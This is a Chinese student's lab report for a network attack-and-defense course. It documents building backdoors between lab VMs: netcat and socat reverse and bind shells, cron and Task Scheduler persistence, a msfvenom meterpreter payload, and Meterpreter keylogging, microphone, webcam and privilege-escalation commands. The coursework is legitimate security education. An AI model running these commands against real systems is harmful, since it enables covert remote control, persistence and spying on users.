20165223《网络对抗技术》Exp2 后门原理与实践
目录 —— 后门原理与实践
1 后门原理与实践说明
1.1 实验任务
- 使用netcat获取主机操作Shell,cron启动(0.5分)
- 使用socat获取主机操作Shell, 任务计划启动(0.5分)
- 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
- 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权(2分)
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)
1.2 基础知识问答
>>>> 什么是后门?
后门就是不经过正常认证流程而访问系统的通道。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷;但若在发布软件之前没有删除后门程序,后门就成了安全风险,容易被黑客当成漏洞进行攻击。
>>>> 近年来的一些案例
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 在网上下载资料的时候,若下载的应用程序恰好包含后门程序,那么后门程序会在安装的时候回神不知鬼不觉地潜入电脑中;在非官方网站上下载软件的时候,可能会被恶意捆绑下载安装一些隐藏的可执行文件(一般不会让用户看到);攻击者直接将恶意程序发送给用户,诱导用户打开;在浏览网页的时候,若该网站恰好是挂马网站,那么网页就会自动后台下载木马程序,并自动安装生成可执行文件,后门进入系统留下安全隐患。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- Windows:远程木马,开机自启动,定时任务等
- Linux:利用cron定时启动后门,远程后门等
(3)Meterpreter有哪些给你映像深刻的功能?
- Meterpreter的命令非常多,功能也很强大,它的作用就是渗透攻击,其中生成后门程序并在攻击机与目标机之间建立有效双向链接的功能给我留下很深印象,后门的所有操作都是在这项操作成功的基础上完成的~
(4)如何发现自己有系统有没有被安装后门?
- 杀毒软件查杀病毒、修复漏洞,实时监控电脑系统
- 开启电脑防火墙,检查是否有异常开放的端口
- 经常检查注册表项中有无可以程序
linux系统检查方法参考资料:浅谈linux被入侵后要如何检查后门
1.3 常用后门工具
(1)netcat
>>>> ncat简介
- netcat,又名nc、ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用
- Linux系统一般自带ncat,通过命令
man netcat
或man nc
可查看其使用说明 - Windows系统不带ncat,需要自行下载ncat.rar解压即可使用
- Mac系统同样自带ncat,使用命令
man nc
,查看其使用说明
>>>> ncat使用
1.Win获得Linux Shell(win7→kali-linux)
- windows 打开监听:c:\your_nc_dir>ncat.exe -l -p 8888
- Linux反弹连接win:root@KaliYL:/var/www/html# nc 192.168.20.175 8888 -e /bin/sh
- windows下获得一个linux shell,可运行任何指令,如ls
- win7在cmd中
ipconfig
查看本机ip(172.20.10.2)
- win7进入ncat文件夹,
ncat.exe -l -p 5223
开始监听
- 在kali中反弹连接win7,
ncat 172.20.10.2 5223 -e /bin/sh
(连接win7的ip和端口,-e选项执行shell程序)
- 回到win7中,已经获取到了控制权,输入kali的指令ls可以看到卡里的文件
2.Linux获得Win Shell(kali-linux→win7)
- Linux运行监听指令:root@KaliYL:/var/www/html# nc -l -p 8888
- Windows反弹连接Linux:c:\your_nc_dir>ncat.exe -e cmd.exe ip_of_linux 8888
- Linux下看到Windows的命令提示
- kali在终端中
ifconfig
查看本机ip(172.20.10.13)
- kali打开监听
nc -l -p 5223
- 在win7的cmd中反弹连接kali(要进入ncat文件夹),
ncat.exe -e cmd.exe 172.20.10.13 5223
- 回到kali,已经成功获得win7的控制权,输入windows命令dir可以查看win7文件夹
3.其他
- 由于我的电脑是windows系统,因此只操作了windows与linux之间互相获取控制权的实验
- 有关于Mac系统与win和linux的操作可以查看老师的实验指导
(2)ncat扩展
>>>> nc传输数据
- win7监听端口5223:
ncat.exe -l 5223
- kali反弹连接到win7的5223端口,
nc 172.20.10.2 5223
- 连接成功,可以互传数据了
>>>> nc传送文件
- 先在kali端新建一个文件file.in,输入内容
- win7监听端口5223:
ncat.exe -l 5223 > file.out
- kali反弹连接到win7的5223端口,
nc 172.20.10.2 5223 < file.in
- 连接成功,win7可以接到kali发来的文件
(3)Meterpreter
-
生成后门的平台有很多,例如:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
- …
-
后门程序Meterpreter就是使用msfenom指令生成的后门可执行文件
-
Meterpreter参数说明
- -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
- -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
- -e 使用的编码器,用于对shellcode变形,为了免杀。
- -i 编码器的迭代次数。如上即使用该编码器编码5次。
- -b badchar是payload中需要去除的字符。
- LHOST 是反弹回连的IP
- LPORT 是回连的端口
- -f 生成文件的类型
>
输出到哪个文件
参考资料:Meterpreter命令详解
2 实验内容
2.1 使用netcat获取主机操作Shell,cron启动
- 说明:任务一是连着校网做的,IP地址与其他任务中的不同
(1)在kali中使用命令man cron
了解cron
- 了解到cron是Linux下的定时任务,每分钟执行一次,检查crontab中所有存储的命令(可提前预设配置好),根据不同的命令来执行不同的操作
- 本实验中正是通过改变crontab中的指令使cron定时执行预设好的命令
(2)打开win7虚拟机,先关闭防火墙以及电脑管家等杀毒软件,构建环境
(3)打开win7虚拟机的cmd,输入ipconfig查看主机ip地址
(4)在win7虚拟机的cmd中输入监听命令ncat.exe -l -p 5223
(5)回到kali中,在终端输入crontab -e
指令打开文件,编辑一条定时任务
- 在文件的最后一行添加命令
11 * * * * /bin/netcat 10.1.1.117 5223 -e /bin/sh
- 这条命令中表示每小时的第11分钟都会反弹连接到win7虚拟机的5223端口
- 其实参数<11>代表第11分钟,<10.1.1.117>是win7虚拟机的ip,<5223>是上一步中开启监听的端口
- 设置到第11分钟的原因是想要尽快看到指令执行效果,此时可以看到时间是10分(右下角)
(6)回到win7虚拟机中,等待到第11分钟,到时间后在cmd中输入ls,可以看到已经获取到了kali的控制权
- win7虚拟机cmd中
- kali终端中(右下角时间为第11分钟)
2.2 使用socat获取主机操作Shell, 任务计划启动
>>>> socat
socat是一个多功能的网络工具,名字来由是” Socket Cat”,可以看作是netcat的加强版。socat的主要作用就是在两个数据流之间建立一个双向通道,端点可以是文件,也可以是端口或某个进程;并且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe, exec, system, open, proxy, openssl, socket等。socat具有许多强大的功能,例如:端口连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。
socat格式:socat [参数] 端点1[选项] 端点2[选项]
更多使用方法参考资料:netcat替代品socat
(1)在win7虚拟机中搜索打开计算机管理
,任务计划程序
→创建任务
(2)常规
→任务名称
(3)触发器
→新建
开始任务
一栏选择工作站锁定时
(4)操作
→新建
脚本或程序
一栏选择socat.exe所在路径,添加参数
一栏填写tcp-listen:5223 exec:cmd.exe,pty,stderr
- 参数的目的是把cmd.exe绑定到5223端口,同时把cmd.exe的stderr重定向到stdout上
(5)设置完后确认,win+L使计算机锁定,重新打开后可以看到已经开始启动了
(6)回到kali,在终端输入命令socat - tcp:172.20.10.2:5223
,即可获取win7的shell
2.3 使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell
(1)在kali上生成后门程序5223_backdoor.exe
- 终端输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.13 LPORT=5223 -f exe > 5223_backdoor.exe
- 此处填的LHOST是kali的IP:172.20.10.13,LPORT填监听端口:5223
(2)将生成的后门程序通过ncat传送到win7上去
- 先win7:
ncat.exe -l 5223 > 20165223_backdoor.exe
,进入接收文件状态
- 再kali:
nc 172.20.10.2 5223 < 20165223_backdoor.exe
,此时IP为win7的IP,传送文件
- 接收成功
(3)kali使用命令msfconsole
进入MSF控制台
- 等待一下就出现画面啦,是一只小兔叽(每一次进入画面都会不一样~~~
- 然后在MSF中进行下面一系列操作
use exploit/multi/handler
,使用监听模块,设置payloadset payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payloadset LHOST 172.20.10.13
,这里用的是kali的IP,和生成后门程序时指定的IP相同set LPORT 5223
,同样要使用相同的端口
- 设置完后开始监听,MSF中输入
exploit
-
在win7中双击运行刚刚传过来的后门程序
5223_backdoor.exe
(或者在cmd中运行) -
回到kali可以看到已经获得了win7的控制权啦
- 试一下win7的指令,成功
2.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等,并尝试提权
- 进入MSF过程与任务三是一样的不多说了,下面是具体的操作
(1)获取目标主机音频
- 使用命令
record_mic
可以获得一段音频(持续1秒,路径自动生成) - 此命令默认录制默认麦克风录制1秒钟的音频,并将尝试不带精度的参数来播放捕获的音频wav文件
- 其他参数
- -h:显示帮助
- -d :记录的秒数,默认为1秒
- -F :wav文件路径。默认为 /root/[生成的乱码文字] .wav
- -p :自动播放捕获的音频,默认为 true
(2)获取目标主机摄像头
- 使用命令
webcam_snap
可以使用摄像头进行拍照 - 此命令为指定的网络摄像头拍摄快照,默认为1,并且默认不使用精确的参数来打开已保存的快照
- 此命令无法执行因为本机的摄像头坏了,虚拟机里又没有摄像设备,在遇到的问题4中有解释
(3)获取目标主机击键记录
- 在kali中,
keyscan_start
开始记录击键内容;到win7的cmd中随意击键;回到kali,keyscan_dump
读取击键记录
- 使用命令
screenshot
对当前win7屏幕截屏
(4)尝试提权
参考资料:Meterpreter提权详解
- 使用命令
getuid
查看当前用户,使用命令getsystem
尝试提权
3 实验遇到的问题及解决方法
(1)kali系统更新后开机蓝屏问题
- 在实验过程中看到 kali 提示我要 apt-get update && apt-get upgrade 更新源和系统,结果在重启更新的过程中一直报错,等了二十多分钟都没有更新完,感觉不太对劲就直接重启了,结果进入 kali 一看,蓝屏,一个图标都没有了,大写的惨(…)
-
一脸懵逼地上网去查了下资料,果然看到有前辈遇到过一样的问题,原因是在安装更新的过程中配置出现问题了,而且还被迫中断,导致系统出现了故障,好在有解决方法,使用命令
dpkg --configure -a
可以让系统从故障发生时执行的命令开始继续执行,方法如下: -
首先重启kali,选择进入
Advanced options for Kali GNU/Linux
- 进入到恢复模式,此时选择进入最新版的
recovery Mode
- 接着在提示输入密码时输入kali的密码(其实不输入也行,会自动接下去的…)
- 然后就输入命令
dpkg --configure -a
,回车等着就行啦
- 一路更新顺利没有再出错,最后全部done后输入reboot重启
- 熟悉的界面又回来啦 _
(2)任务一中主机无法获得kali的控制权
- 其实任务一最开始是在电脑主机和kali虚拟机之间尝试的,在实验开始前我关闭了防火墙、杀毒软件等,但还是在反弹连接的过程中出错了,无法连接到kali虚拟机,不知道什么原因emmm。。。
- 后来换成win7虚拟机,一次就成功了,可能是我主机上还有什么排除病毒的软件在运行吧x
(3)任务三中用MSF meterpreter生成的后门程序在传送到win7的过程中被查杀?
- 在已经关闭防火墙、杀毒软件,并且生成的后门程序也确认没有问题的情况下
- 下图是在kali中打开后门程序查看
- 正常传到win7后,一运行…拒绝服务emmm
- 检查程序发现…???等等为什么会变成0KB???
- 赶紧检查了win7的防火墙等发现都关着,上网查资料说是被杀毒软件查杀掉了(黑人问号)
- 试了几个方法都没能成功,这时突然想起来kali防火墙是不是没有关…
- 参考了博客Kali之关闭防火墙,将防火墙给关了再重新传一次,果然成功了(。
(4)任务四中使用命令webcam_snap
打开摄像头失败
- 在尝试打开摄像头的时候出现错误
- 仔细想了一下,我目前用的目标机是win7虚拟机,但是win7虚拟机中是没有图像设备的
- 于是让win7虚拟机调用主机的摄像头
参考资料:让虚拟机调用主机的摄像头
- 然而,在打开camera这一步时发现了——主机的摄像头根本就是坏的没法用(好吧X
4 实验收获与感想
- 本次实验还挺好玩的,让我有机会了解到后门的原理,第一次接触了后门的生成与使用,在MSF meterpreter平台下玩得蛮开心的,同时也意识到漏洞、病毒等其实真的很容易入侵我们的计算机,网络上也处处都是陷阱,更提高了我的安全意识。就是在实验过程中碰到了很多电脑配置上的问题,解决的很艰辛 orz 希望下次实验能够顺利一点点吧~(最后放个小人)